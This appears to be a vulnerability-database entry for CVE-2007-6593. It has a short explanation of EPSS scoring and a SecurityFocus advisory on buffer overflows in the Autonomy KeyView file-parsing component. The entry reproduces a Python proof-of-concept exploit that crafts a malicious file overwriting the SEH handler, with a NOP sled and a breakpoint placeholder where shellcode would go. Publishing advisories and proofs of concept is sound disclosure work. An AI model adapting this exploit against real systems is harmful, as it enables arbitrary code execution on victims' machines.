CVE-2007-6593 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/26604/info Autonomy KeyView is prone to multiple buffer-overflow vulnerabilities. Successfully exploiting these issues could allow an attacker to execute arbitrary code in the context of the user running the application. Multiple applications incorporate the vulnerable KeyView component, so they are also considered vulnerable to these issues. NOTE: These issues are similar to those described in BID 26175 (Autonomy KeyView Multiple Buffer Overflow Vulnerabilities) but affect a different component. from sys import argv from struct import pack def createMaliciousFile(filename): seh_offset = 0x9c4 jumper = 0x06ad890d # pop pop ret ... CHANGE IT! (dll is rebased) shellcode = '\x90' * 0x400 + '\xCC' # nopsled and int 3 content = '\x00\x00' # header record type content += '\x1a\x00' # header length content += '\x05\x10\x04\x00\x00\x00\x00\x00\x09\x00\x00\x01' content += '\x01\x00\x30\x8d\x01\x0a\x00\x00\x00\x00\x00\x00\x00\x00' content += '\x1b\x00' # vulnerable record type payload = '' payload += '\x90' * (seh_offset - 4) #others too payload += '\xeb\x06\x90\x90' # jmp six bytes forward payload += pack('<L', jumper) payload += shellcode content += pack('<H', len(payload)) content += payload fd = open(filename, 'wb') fd.write(content) fd.close() if len(argv) is not 2: print '[-] Must specify a filename. Remember to change the pop pop ret address! :)' else: createMaliciousFile(argv[1])